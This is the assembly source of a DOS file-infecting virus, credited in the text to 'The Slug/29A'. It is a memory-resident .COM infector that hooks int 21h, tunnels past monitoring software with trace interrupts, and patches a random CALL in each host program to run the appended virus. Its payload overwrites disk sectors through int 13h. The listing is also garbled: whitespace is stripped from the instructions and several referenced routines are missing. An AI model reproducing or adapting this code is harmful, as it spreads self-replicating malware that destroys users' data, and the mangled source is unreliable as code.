;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Main C0de <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
start:pushcs;address t0 return t0 h0st.
db68h;push '0ffset'.
retonnodw0000
pushdses
pusha
callsig;get nasty delta 0ffset.
sig:popsi
subsi,offset(sig)
movax,0B0B0h;resident check.
int21h
cmpax,0BABAh
jneinstal
jmplstchk
instal:movah,62h;get PSP segment.
int21h
xchgbx,ax;get MCB addres.
decax
movds,ax
cmpbyteptrds:[0],'Z';is the last MCB?
jechgmcb
jmpaprog
chgmcb:subwordptrds:[3],(virsize/10h)+8;change bl0ck size in MCB
movwordptr[si-4],offset(hdl21);hang new int 21h handler.
movwordptr[si-2],es
aprog:popa;return t0 h0st.
popesds
retf
lstchk:inax,40h;check rand0m w0rd of mem0ry c0py.
andax,0200h
pushsi
addsi,ax
movdi,ax
cmpsw
popsi
jeaprog
buuuhh:pushcs;display funny message :)
popds
leadx,joke
adddx,si
movah,09h
int21h
movdx,0180h;I think it's clear enought };).
movcx,07FFh
funny:movax,0401h
int13h
loopfunny
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Data <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
creditsdb'TheBugger virus by The Slug/29A'
intCD:int0CDh;int t0 detect h0st execution.
PSPcall:db9Ah
dd0;PSP call t0 int21h ;)
jokedb'Removing virus from memory...',13,10,'$'
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Int 21h Handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
hdl21:cmpax,0B0B0h;resident service?
jnefunc2
movax,0BABAh
pushcs;return virus segment in es
popes;f0r extra check.
iret
func2:cmpax,4B00h;exec service?
jeexec
int21:db0EAh;jmp t0 int 21h.
dd0
exec:pushdses
pusha
pushf
movsi,dx;c0py filespec.
pushcs
popes
leadi,path
next:lodsb
stosb
cmpal,0
jnenext
subsi,4;is a .c0m file?
lodsw
xorax,2020h
cmpax,'oc'
jnenocom
callchgattr;change file attributes.
movax,3D02h;0pen file.
int03h
xchgbx,ax
callgetdate;get file time & date.
leadx,firstb;read first 3 bytes 0f file
movcx,3;t0 exe check & h0st detect rutine.
movah,3Fh
int03h
cmpwordptrcs:firstb,'ZM';is an exe file (MZ sign)?
jeexit
xorcx,cx;g0 t0 file start again.
movax,4200h
cwd;dx <- 0 ;)
int03h
leadx,intCD;write 'int CDh' c0de 0n file start
movcx,2;t0 detect h0st execution.
movah,40h
int03h
xorax,ax;change int CDh vect0r
moves,ax;f0r h0st detection.
movax,es:[0CDh*4]
movintcddes,ax
movax,es:[0CDh*4]+2
movintcdseg,ax
moves:[0CDh*4],offset(fndhst)
moves:[0CDh*4]+2,cs
exit:movah,3Eh;cl0se file.
int03h
nocom:popf
popa
popesds
jmpint21
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> First Int 01 Handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
tunn:pushdsesbp;trace int 21 f0r tunneling.
pusha
callgetret;get next instructi0n address in es:di.
cmpes:[di],0FC80h;is an 'cmp ax, ??'
jnefuera
cmpbyteptres:[di+2],24h;avoid 'cmp ax, 24h'
jefuera
stop:xorbx,bx
moves,bx
moves:[03h*4],di;make int 03h point to true int 21h ;)
moves:[03h*4]+2,ax
lodsw;trace m0de 0ff.
andah,0FEh
mov[si-2],ax
fuera:popa
popbpesds
iret
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Int CDh Handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
fndhst:pushdsesbp;detect h0st c0de at exec.
pusha
callgetret;get next instructi0n dir.
chkhst:cmpdi,102h;ensure it's h0st start :)
jnenohost
pushcs
popds
movax,wordptrfirstb;rest0re first h0st w0rd in mem0ry.
decdi
decdi
stosw
leadx,path;0pen file.
pushdx
movax,3D02h
int21h
xchgbx,ax
leadx,firstb;rest0re first w0rd 0f file.
movcx,2
movah,40h
int21h
callsetdate;rest0re file date & time.
movah,3Eh;cl0se file.
int21h
popdx
callsetattr;rest0re file attributes.
xorax,ax;rest0re int CDh vect0r.
moves,ax
movax,intcddes
moves:[0CDh*4],ax
movax,intcdseg
moves:[0CDh*4]+2,ax
movwordptres:[01h*4],offset(fndcal);change int 01h vect0r
moves:[01h*4]+2,cs;t0 find a call.
movnuminstr,0FFh;max number 0f instr. t0 trace.
inax,40h;ramd0m ch0se 0f call t0 infect (2-5).
andal,03h
incal
incal
movnumcall,al
pushss;rest0re 0riginal IP (100h) 0n stack.
popds
decdi
decdi
mov[si-4],di
lodsw;trace m0de 0n
orah,01h
movss:[si-2],ax
nohost:popa
popbpesds
iret
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Second Int 01 Handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
fndcal:pushdsesbp;trace h0st t0 find a call t0 infect.
pusha
deccs:numinstr;check instructi0n trace limit.
jnzgoon
jmpoff
goon:callgetret;get ret address.
cmpdi,cs:lstdsp;d0 n0t c0unt 0ne m0re instructi0n
jnenorep;0n 'rep' prefixed instructi0ns.
inccs:numinstr
norep:movcs:lstdsp,di;st0re actual return 0ffset.
movax,es:[di]
cmpal,9Dh;check f0r a p0pf.
jnechkirt
lodsw
lodsw
orah,01h;ensure trap flag will be 0n.
mov[si-2],ax
jmpnocall
chkirt:cmpal,0CFh;check f0r a iret.
jnechkint
lodsw
lodsw
lodsw
lodsw
orah,01h;ensure trap flag will be 0n.
mov[si-2],ax
anocall:jmpnocall
chkint:cmpal,0CDh;check f0r a int xx.
jnechkint3
cmpah,20h;skip ints 20h, 21h & 20h
jeanocall
cmpah,21h
jeanocall
cmpah,27h
jeanocall
movcs:numint,ax;int number t0 perf0rm call.
incdi;inc ret addr t0 step 0ver int call.
incdi
mov[si-4],di
popa
popbpesds
numintdw00;perf0rm int call in virus c0de.
iret
chkint3:cmpal,0CCh;check int 03h call.
jnechkcal
incdi
mov[si-4],di;step 0ver int call.
jmpnocall
chkcal:cmpal,0E8h;check f0r a call t0 infect.
jefound
jmpnocall
found:deccs:numcall;it's the nice 0ne ;)
jego
cmpcs:numinstr,20;d0n't be s0 extrict in call number
jbgo;if there are t00 few calls.
jmpnocall
go:callchgattr;change attributes.
movax,3D02h;0pen file.
int03h
xchgbx,ax
callgetdate;get file date & time.
xorcx,cx;m0ve t0 file call positi0n.
movdx,di
subdx,100h
movax,4200h
int03h
leadx,check;read call fr0m file f0r c0mpress chk.
movcx,1
movah,3Fh
int03h
cmpcheck,0E8h;c0mpressed file?
jeok
jmpclose
ok:xorcx,cx;m0ves t0 end 0f file.
movax,4202h
cwd;dx <- 0 ;)
int03h
movhostsize,ax
subax,di;find call parameter.
addax,0FDh
movhostsize,ax;f0r a new "call hostsize".
movax,es:[di+1];0ffset t0 return t0 h0st
addax,di
addax,3
movretonno,ax
leadx,start;save mi c0de at file end.
movcx,virsize
movah,40h
int03h
xorcx,cx;m0ves again t0 call.
subdi,0FFh
movdx,di
movax,4200h
int03h
leadx,hostsize;change it. }:)
movcx,2
movah,40h
int03h
close:callsetdate;rest0re file time & date.
movah,3Eh;cl0se file.
int03h
leadx,path
callsetattr;rest0re file attributes.
off:movbp,sp
movax,ss:[bp+26];trace m0de 0ff.
andah,0FEh
movss:[bp+26],ax
nocall:popa
popbpesds
iret
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Get Ret Address Fr0m Stack <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Virtual Data <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>